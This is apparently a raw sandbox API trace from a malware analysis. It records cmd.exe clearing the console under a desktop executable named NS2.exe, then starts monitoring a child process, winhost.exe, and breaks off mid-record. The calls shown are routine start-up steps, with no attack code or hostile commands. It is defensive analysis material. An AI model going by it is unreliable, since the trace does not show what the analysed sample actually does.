"C:\\WINDOWS\\system32\\cmd.exe /c cls" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 270 os_tid = 0x88c [0132.681] GetModuleHandleA (lpModuleName=0x0) returned 0xfb0000 [0132.681] __set_app_type (_Type=0x1) [0132.681] __p__fmode () returned 0x747d3c14 [0132.681] __p__commode () returned 0x747d49ec [0132.681] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfc6fd0) returned 0x0 [0132.681] __getmainargs (in: _Argc=0xfdd1a4, _Argv=0xfdd1a8, _Env=0xfdd1ac, _DoWildCard=0, _StartInfo=0xfdd1b8 | out: _Argc=0xfdd1a4, _Argv=0xfdd1a8, _Env=0xfdd1ac) returned 0 [0132.681] _onexit (_Func=0xfc8030) returned 0xfc8030 [0132.681] _onexit (_Func=0xfc8040) returned 0xfc8040 [0132.681] _onexit (_Func=0xfc8050) returned 0xfc8050 [0132.681] _onexit (_Func=0xfc8060) returned 0xfc8060 [0132.681] _onexit (_Func=0xfc8070) returned 0xfc8070 [0132.682] _onexit (_Func=0xfc8080) returned 0xfc8080 [0132.682] GetCurrentThreadId () returned 0x88c [0132.682] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x88c) returned 0xbc [0132.683] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0132.683] GetProcAddress (hModule=0x77190000, lpProcName="SetThreadUILanguage") returned 0x771a4f70 [0132.683] SetThreadUILanguage (LangId=0x0) returned 0xdd0409 [0132.726] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0132.726] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xbffe60 | out: phkResult=0xbffe60*=0x0) returned 0x2 [0132.727] VirtualQuery (in: lpAddress=0xbffe6b, lpBuffer=0xbffe18, dwLength=0x1c | out: lpBuffer=0xbffe18*(BaseAddress=0xbff000, AllocationBase=0xb00000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0132.727] VirtualQuery (in: lpAddress=0xb00000, lpBuffer=0xbffe18, dwLength=0x1c | out: lpBuffer=0xbffe18*(BaseAddress=0xb00000, AllocationBase=0xb00000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0132.727] VirtualQuery (in: lpAddress=0xb01000, lpBuffer=0xbffe18, dwLength=0x1c | out: lpBuffer=0xbffe18*(BaseAddress=0xb01000, AllocationBase=0xb00000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0132.727] VirtualQuery (in: lpAddress=0xb03000, lpBuffer=0xbffe18, dwLength=0x1c | out: lpBuffer=0xbffe18*(BaseAddress=0xb03000, AllocationBase=0xb00000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0132.727] VirtualQuery (in: lpAddress=0xc00000, lpBuffer=0xbffe18, dwLength=0x1c | out: lpBuffer=0xbffe18*(BaseAddress=0xc00000, AllocationBase=0xc00000, AllocationProtect=0x4, RegionSize=0x1d6000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0132.727] GetConsoleOutputCP () returned 0x1b5 [0132.772] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfe3850 | out: lpCPInfo=0xfe3850) returned 1 [0132.773] SetConsoleCtrlHandler (HandlerRoutine=0xfd7260, Add=1) returned 1 [0132.773] _get_osfhandle (_FileHandle=1) returned 0x90 [0132.773] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xfe388c | out: lpMode=0xfe388c) returned 1 [0132.818] _get_osfhandle (_FileHandle=0) returned 0x8c [0132.818] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xfe3888 | out: lpMode=0xfe3888) returned 1 [0132.866] _get_osfhandle (_FileHandle=1) returned 0x90 [0132.866] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0133.024] _get_osfhandle (_FileHandle=1) returned 0x90 [0133.024] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xfe3890 | out: lpMode=0xfe3890) returned 1 [0133.061] _get_osfhandle (_FileHandle=1) returned 0x90 [0133.061] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0133.128] _get_osfhandle (_FileHandle=0) returned 0x8c [0133.128] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xfe3894 | out: lpMode=0xfe3894) returned 1 [0133.175] _get_osfhandle (_FileHandle=0) returned 0x8c [0133.175] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0133.240] GetEnvironmentStringsW () returned 0x30e5088* [0133.240] GetProcessHeap () returned 0x30e0000 [0133.240] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0xce6) returned 0x30e5d78 [0133.241] FreeEnvironmentStringsA (penv="A") returned 1 [0133.241] GetProcessHeap () returned 0x30e0000 [0133.241] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0x4) returned 0x30e4b40 [0133.241] GetEnvironmentStringsW () returned 0x30e5088* [0133.241] GetProcessHeap () returned 0x30e0000 [0133.241] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0xce6) returned 0x30e6a68 [0133.241] FreeEnvironmentStringsA (penv="A") returned 1 [0133.241] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbfedbc | out: phkResult=0xbfedbc*=0xcc) returned 0x0 [0133.241] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x0, lpData=0xbfedc8*=0xc5, lpcbData=0xbfedc0*=0x1000) returned 0x2 [0133.241] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x4, lpData=0xbfedc8*=0x1, lpcbData=0xbfedc0*=0x4) returned 0x0 [0133.241] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x0, lpData=0xbfedc8*=0x1, lpcbData=0xbfedc0*=0x1000) returned 0x2 [0133.241] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x4, lpData=0xbfedc8*=0x0, lpcbData=0xbfedc0*=0x4) returned 0x0 [0133.241] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x4, lpData=0xbfedc8*=0x40, lpcbData=0xbfedc0*=0x4) returned 0x0 [0133.241] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x4, lpData=0xbfedc8*=0x40, lpcbData=0xbfedc0*=0x4) returned 0x0 [0133.241] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x0, lpData=0xbfedc8*=0x40, lpcbData=0xbfedc0*=0x1000) returned 0x2 [0133.241] RegCloseKey (hKey=0xcc) returned 0x0 [0133.241] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbfedbc | out: phkResult=0xbfedbc*=0xcc) returned 0x0 [0133.241] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x0, lpData=0xbfedc8*=0x40, lpcbData=0xbfedc0*=0x1000) returned 0x2 [0133.242] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x4, lpData=0xbfedc8*=0x1, lpcbData=0xbfedc0*=0x4) returned 0x0 [0133.242] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x0, lpData=0xbfedc8*=0x1, lpcbData=0xbfedc0*=0x1000) returned 0x2 [0133.242] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x4, lpData=0xbfedc8*=0x0, lpcbData=0xbfedc0*=0x4) returned 0x0 [0133.242] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x4, lpData=0xbfedc8*=0x9, lpcbData=0xbfedc0*=0x4) returned 0x0 [0133.242] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x4, lpData=0xbfedc8*=0x9, lpcbData=0xbfedc0*=0x4) returned 0x0 [0133.242] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbfedc4, lpData=0xbfedc8, lpcbData=0xbfedc0*=0x1000 | out: lpType=0xbfedc4*=0x0, lpData=0xbfedc8*=0x9, lpcbData=0xbfedc0*=0x1000) returned 0x2 [0133.242] RegCloseKey (hKey=0xcc) returned 0x0 [0133.242] time (in: timer=0x0 | out: timer=0x0) returned 0x5ee34551 [0133.242] srand (_Seed=0x5ee34551) [0133.242] GetCommandLineW () returned="C:\\WINDOWS\\system32\\cmd.exe /c cls" [0133.242] malloc (_Size=0x4000) returned 0x34b24b0 [0133.242] GetCommandLineW () returned="C:\\WINDOWS\\system32\\cmd.exe /c cls" [0133.242] malloc (_Size=0xffce) returned 0x32e0048 [0133.243] ??_V@YAXPAX@Z () returned 0xbffda0 [0133.243] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x32e0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0133.244] malloc (_Size=0xffce) returned 0x32f0020 [0133.244] ??_V@YAXPAX@Z () returned 0xbffb74 [0133.244] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32f0020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0133.244] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xfdf840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0133.244] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xfdf840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0133.244] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xfdf840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0133.244] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0133.244] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0133.244] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0133.244] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0133.244] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0133.244] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0133.245] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0133.245] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0133.245] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0133.245] GetProcessHeap () returned 0x30e0000 [0133.245] RtlFreeHeap (HeapHandle=0x30e0000, Flags=0x0, BaseAddress=0x30e5d78) returned 1 [0133.245] GetEnvironmentStringsW () returned 0x30e5088* [0133.245] GetProcessHeap () returned 0x30e0000 [0133.245] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0xcfe) returned 0x30e8460 [0133.245] FreeEnvironmentStringsA (penv="A") returned 1 [0133.245] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xfdf840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0133.245] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xfdf840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0133.245] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0133.245] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0133.245] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0133.245] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0133.245] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0133.245] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0133.245] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0133.245] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0133.245] malloc (_Size=0xffce) returned 0x32ffff8 [0133.245] ??_V@YAXPAX@Z () returned 0xbff90c [0133.246] GetProcessHeap () returned 0x30e0000 [0133.246] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0x38) returned 0x30e4bd8 [0133.246] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x32ffff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0133.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x32ffff8, lpFilePart=0xbff958 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xbff958*="Desktop") returned 0x17 [0133.246] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0133.246] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xbff6d8 | out: lpFindFileData=0xbff6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x30e4c18 [0133.246] FindClose (in: hFindFile=0x30e4c18 | out: hFindFile=0x30e4c18) returned 1 [0133.246] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xbff6d8 | out: lpFindFileData=0xbff6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x30e4c18 [0133.246] FindClose (in: hFindFile=0x30e4c18 | out: hFindFile=0x30e4c18) returned 1 [0133.247] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xbff6d8 | out: lpFindFileData=0xbff6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x6da48afd, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x6da48afd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x30e4c18 [0133.247] FindClose (in: hFindFile=0x30e4c18 | out: hFindFile=0x30e4c18) returned 1 [0133.247] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0133.247] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0133.247] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0133.247] GetProcessHeap () returned 0x30e0000 [0133.247] RtlFreeHeap (HeapHandle=0x30e0000, Flags=0x0, BaseAddress=0x30e8460) returned 1 [0133.247] GetEnvironmentStringsW () returned 0x30e5088* [0133.247] GetProcessHeap () returned 0x30e0000 [0133.247] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0xd36) returned 0x30e7758 [0133.247] FreeEnvironmentStringsA (penv="=") returned 1 [0133.247] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x32e0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0133.247] GetProcessHeap () returned 0x30e0000 [0133.247] RtlFreeHeap (HeapHandle=0x30e0000, Flags=0x0, BaseAddress=0x30e4bd8) returned 1 [0133.247] ??_V@YAXPAX@Z () returned 0x1 [0133.247] ??_V@YAXPAX@Z () returned 0x1 [0133.247] GetProcessHeap () returned 0x30e0000 [0133.247] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0x400e) returned 0x30e9ea8 [0133.247] GetProcessHeap () returned 0x30e0000 [0133.247] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0x14) returned 0x30e4b68 [0133.247] GetProcessHeap () returned 0x30e0000 [0133.247] RtlFreeHeap (HeapHandle=0x30e0000, Flags=0x0, BaseAddress=0x30e9ea8) returned 1 [0133.247] GetConsoleOutputCP () returned 0x1b5 [0133.284] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfe3850 | out: lpCPInfo=0xfe3850) returned 1 [0133.284] GetUserDefaultLCID () returned 0x409 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xfdf82c, cchData=8 | out: lpLCData=":") returned 2 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xbffcc8, cchData=128 | out: lpLCData="0") returned 2 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xbffcc8, cchData=128 | out: lpLCData="0") returned 2 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xbffcc8, cchData=128 | out: lpLCData="1") returned 2 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xfdf81c, cchData=8 | out: lpLCData="/") returned 2 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xfdf7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xfdf778, cchData=32 | out: lpLCData="Tue") returned 4 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xfdf738, cchData=32 | out: lpLCData="Wed") returned 4 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xfdf6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xfdf6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xfdf678, cchData=32 | out: lpLCData="Sat") returned 4 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xfdf638, cchData=32 | out: lpLCData="Sun") returned 4 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xfdf80c, cchData=8 | out: lpLCData=".") returned 2 [0133.285] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xfdf7f8, cchData=8 | out: lpLCData=",") returned 2 [0133.285] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0133.286] GetProcessHeap () returned 0x30e0000 [0133.286] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x0, Size=0x20c) returned 0x30e8498 [0133.286] GetConsoleTitleW (in: lpConsoleTitle=0x30e8498, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\NS2.exe") returned 0x20 [0133.538] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0133.539] GetProcAddress (hModule=0x77190000, lpProcName="CopyFileExW") returned 0x771a4330 [0133.539] GetProcAddress (hModule=0x77190000, lpProcName="IsDebuggerPresent") returned 0x771a5930 [0133.539] GetProcAddress (hModule=0x77190000, lpProcName="SetConsoleInputExeNameW") returned 0x746209d0 [0133.539] ??_V@YAXPAX@Z () returned 0x1 [0133.539] GetProcessHeap () returned 0x30e0000 [0133.539] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0x400a) returned 0x30e9ea8 [0133.539] GetProcessHeap () returned 0x30e0000 [0133.539] RtlFreeHeap (HeapHandle=0x30e0000, Flags=0x0, BaseAddress=0x30e9ea8) returned 1 [0133.539] _wcsicmp (_String1="cls", _String2=")") returned 58 [0133.539] _wcsicmp (_String1="FOR", _String2="cls") returned 3 [0133.539] _wcsicmp (_String1="FOR/?", _String2="cls") returned 3 [0133.539] _wcsicmp (_String1="IF", _String2="cls") returned 6 [0133.539] _wcsicmp (_String1="IF/?", _String2="cls") returned 6 [0133.539] _wcsicmp (_String1="REM", _String2="cls") returned 15 [0133.539] _wcsicmp (_String1="REM/?", _String2="cls") returned 15 [0133.540] GetProcessHeap () returned 0x30e0000 [0133.540] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0x58) returned 0x30e4c20 [0133.540] GetProcessHeap () returned 0x30e0000 [0133.540] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0x10) returned 0x30e4c80 [0133.540] GetConsoleTitleW (in: lpConsoleTitle=0xbffbc0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\NS2.exe") returned 0x20 [0133.593] malloc (_Size=0xffce) returned 0x32f2730 [0133.594] ??_V@YAXPAX@Z () returned 0xbff94c [0133.594] malloc (_Size=0xffce) returned 0x3302708 [0133.595] ??_V@YAXPAX@Z () returned 0xbff704 [0133.595] _wcsicmp (_String1="cls", _String2="DIR") returned -1 [0133.595] _wcsicmp (_String1="cls", _String2="ERASE") returned -2 [0133.595] _wcsicmp (_String1="cls", _String2="DEL") returned -1 [0133.595] _wcsicmp (_String1="cls", _String2="TYPE") returned -17 [0133.595] _wcsicmp (_String1="cls", _String2="COPY") returned -3 [0133.595] _wcsicmp (_String1="cls", _String2="CD") returned 8 [0133.595] _wcsicmp (_String1="cls", _String2="CHDIR") returned 4 [0133.596] _wcsicmp (_String1="cls", _String2="RENAME") returned -15 [0133.596] _wcsicmp (_String1="cls", _String2="REN") returned -15 [0133.596] _wcsicmp (_String1="cls", _String2="ECHO") returned -2 [0133.596] _wcsicmp (_String1="cls", _String2="SET") returned -16 [0133.596] _wcsicmp (_String1="cls", _String2="PAUSE") returned -13 [0133.596] _wcsicmp (_String1="cls", _String2="DATE") returned -1 [0133.596] _wcsicmp (_String1="cls", _String2="TIME") returned -17 [0133.596] _wcsicmp (_String1="cls", _String2="PROMPT") returned -13 [0133.596] _wcsicmp (_String1="cls", _String2="MD") returned -10 [0133.596] _wcsicmp (_String1="cls", _String2="MKDIR") returned -10 [0133.596] _wcsicmp (_String1="cls", _String2="RD") returned -15 [0133.596] _wcsicmp (_String1="cls", _String2="RMDIR") returned -15 [0133.596] _wcsicmp (_String1="cls", _String2="PATH") returned -13 [0133.597] _wcsicmp (_String1="cls", _String2="GOTO") returned -4 [0133.597] _wcsicmp (_String1="cls", _String2="SHIFT") returned -16 [0133.597] _wcsicmp (_String1="cls", _String2="CLS") returned 0 [0133.597] ??_V@YAXPAX@Z () returned 0x1 [0133.597] GetProcessHeap () returned 0x30e0000 [0133.597] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0xc) returned 0x30e86b0 [0133.597] GetProcessHeap () returned 0x30e0000 [0133.597] RtlAllocateHeap (HeapHandle=0x30e0000, Flags=0x8, Size=0x10) returned 0x30e86c8 [0133.597] _get_osfhandle (_FileHandle=1) returned 0x90 [0133.597] GetFileType (hFile=0x90) returned 0x2 [0133.597] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0133.597] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xbff93c | out: lpMode=0xbff93c) returned 1 [0133.640] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0133.640] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x90, lpConsoleScreenBufferInfo=0xbff958 | out: lpConsoleScreenBufferInfo=0xbff958) returned 1 [0133.684] ScrollConsoleScreenBufferW (hConsoleOutput=0x90, lpScrollRectangle=0xbff948, lpClipRectangle=0x0, dwDestinationOrigin=0xdcd70000, lpFill=0xbff954) returned 1 [0133.744] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0133.744] SetConsoleCursorPosition (hConsoleOutput=0x90, dwCursorPosition=0x0) returned 1 [0133.796] ??_V@YAXPAX@Z () returned 0x1 [0133.796] _get_osfhandle (_FileHandle=1) returned 0x90 [0133.796] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0133.836] _get_osfhandle (_FileHandle=1) returned 0x90 [0133.836] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xfe3890 | out: lpMode=0xfe3890) returned 1 [0134.011] _get_osfhandle (_FileHandle=0) returned 0x8c [0134.011] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xfe3894 | out: lpMode=0xfe3894) returned 1 [0134.052] SetConsoleInputExeNameW () returned 0x1 [0134.052] GetConsoleOutputCP () returned 0x1b5 [0134.102] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfe3850 | out: lpCPInfo=0xfe3850) returned 1 [0134.102] SetThreadUILanguage (LangId=0x0) returned 0xdd0409 [0134.135] exit (_Code=0) [0134.135] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 271 os_tid = 0x6c8 Process: id = "17" image_name = "winhost.exe" filename = "c:\\users\\fd1hvy\\desktop\\winhost.exe" page_root = "0x20f32000" os_pid = "0xcd4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x190" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\winhost.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 274 os_tid = 0xb84 [0145.252] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77190000 [0145.252] GetProcAddress 